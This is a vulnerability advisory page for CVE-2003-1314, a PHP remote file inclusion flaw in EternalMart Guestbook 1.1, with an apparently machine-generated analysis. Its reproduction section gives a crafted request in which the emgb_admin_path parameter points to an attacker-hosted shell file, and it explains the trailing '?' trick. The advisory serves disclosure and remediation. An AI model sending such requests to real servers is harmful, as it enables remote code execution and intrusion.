CVE-2003-1314
Description
PHP remote file inclusion vulnerability in admin/auth.php in EternalMart Guestbook (EMGB) 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the emgb_admin_path parameter.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected products
2- cpe:2.3:a:eternalmart:eternalmart_guestbook:1.1:*:*:*:*:*:*:*
- Range: =1.1
Patches
Vulnerability mechanics
Root cause
"Unsanitized user input passed directly to PHP's include() function allows remote file inclusion."
Attack vector
An attacker sends an HTTP request to `admin/auth.php` with the `emgb_admin_path` parameter set to a URL pointing to a remote PHP shell (e.g., `http://mdxshell.txt?`). The vulnerable `include()` statement then loads and executes the attacker's remote file as PHP code, allowing arbitrary command execution on the server [ref_id=1]. No authentication is required, and the only precondition is that the PHP configuration allows remote file inclusion via `allow_url_include`.
Affected code
The vulnerable file is `admin/auth.php` in EternalMart Guestbook (EMGB) 1.1. The code contains the line `include("$emgb_admin_path/auth_func.php")`, which directly uses the attacker-controlled `emgb_admin_path` parameter without sanitization [ref_id=1].
What the fix does
No patch is provided in the bundle. The advisory does not specify a fix, but the remediation would be to avoid passing user-supplied input directly into an `include()` statement. Developers should use a whitelist of allowed paths or define `$emgb_admin_path` internally rather than accepting it from the `$_GET` or `$_REQUEST` superglobals.
Preconditions
- configPHP must have allow_url_include enabled to allow remote file inclusion
- inputThe emgb_admin_path parameter must be accepted from the HTTP request (no input validation)
- networkThe attacker must be able to reach admin/auth.php over the network
Reproduction
Send a crafted HTTP GET request to the vulnerable application: `http://target.com/[path]/admin/auth.php?emgb_admin_path=http://attacker.com/shell.txt?` [ref_id=1]. The trailing `?` prevents the appended `/auth_func.php` from being interpreted as part of the remote URL. If successful, the remote PHP code is executed on the target server.
Generated on May 26, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
5- securitytracker.com/idnvdExploit
- www.securityfocus.com/archive/1/340244nvdExploit
- www.securityfocus.com/bid/21720nvdExploit
- www.securityfocus.com/bid/8767nvdExploit
- www.exploit-db.com/exploits/2980nvd
News mentions
0No linked articles in our index yet.